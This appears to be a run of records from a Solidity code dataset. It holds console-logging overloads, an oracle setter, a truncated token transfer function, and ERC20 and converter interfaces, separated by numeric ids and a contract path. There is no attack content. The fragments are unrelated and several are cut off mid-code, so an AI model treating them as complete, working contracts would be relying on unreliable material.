p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } }
Set a rate oracle. Can be reset.
function setLendingOracle(bytes6 baseId, IOracle oracle) external auth { require (assets[baseId] != address(0), "Base not found"); lendingOracles[baseId] = oracle; emit RateOracleAdded(baseId, address(oracle)); }
5,747,719
./full_match/3/0x022EE58dF81Cf5C65B05E51208F23cc9B9e9c49B/sources/contracts/token.sol
Send coins / Check if the sender has enough Check for overflows Subtract from the sender Add the same to the recipient
function transfer(address _to, uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true;
8,150,639
/** *Submitted for verification at Etherscan.io on 2021-04-04 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: solidity/contracts/utility/interfaces/IOwned.sol pragma solidity 0.6.12; /* Owned contract interface */ interface IOwned { // this function isn't since the compiler emits automatically generated getter functions as external function owner() external view returns (address); function transferOwnership(address _newOwner) external; function acceptOwnership() external; } // File: solidity/contracts/converter/interfaces/IConverterAnchor.sol pragma solidity 0.6.12; /* Converter Anchor interface */ interface IConverterAnchor is IOwned { } // File: solidity/contracts/converter/interfaces/IConverter.sol pragma solidity 0.6.12; /* Converter interface */ interface IConverter is IOwned { function converterType() external pure returns (uint16); function anchor() external view returns (IConverterAnchor); function isActive() external view returns (bool); function targetAmountAndFee( IERC20 _sourceToken, IERC20 _targetToken, uint256 _amount ) external view returns (uint256, uint256); function convert( IERC20 _sourceToken, IERC20 _targetToken, uint256 _amount, address _trader, address payable _beneficiary ) external payable returns (uint256); function conversionFee() external view returns (uint32); function maxConversionFee() external view returns (uint32); function reserveBalance(IERC20 _reserveToken) external view returns (uint256); receive() external payable; function transferAnchorOwnership(address _newOwner) external; function acceptAnchorOwnership() external; function setConversionFee(uint32 _conversionFee) external; function addReserve(IERC20 _token, uint32 _weight) external; function transferReservesOnUpgrade(address _newConverter) external; function onUpgradeComplete() external; // deprecated, backward compatibility function token() external view returns (IConverterAnchor); function transferTokenOwnership(address _newOwner) external; function acceptTokenOwnership() external; function connectors(IERC20 _address) external view returns ( uint256, uint32, bool, bool, bool ); function getConnectorBalance(IERC20 _connectorToken) external view returns (uint256); function connectorTokens(uint256 _index) external view returns (IERC20); function connectorTokenCount() external view returns (uint16); /** * @dev triggered when the converter is activated * * @param _type converter type * @param _anchor converter anchor * @param _activated true if the converter was activated, false if it was deactivated */ event Activation(uint16 indexed _type, IConverterAnchor indexed _anchor, bool indexed _activated); /** * @dev triggered when a conversion between two tokens occurs * * @param _fromToken source ERC20 token * @param _toToken target ERC20 token * @param _trader wallet that initiated the trade * @param _amount input amount in units of the source token * @param _return output amount minus conversion fee in units of the target token * @param _conversionFee conversion fee in units of the target token */ event Conversion( IERC20 indexed _fromToken, IERC20 indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return, int256 _conversionFee ); /** * @dev triggered when the rate between two tokens in the converter changes * note that the event might be dispatched for rate updates between any two tokens in the 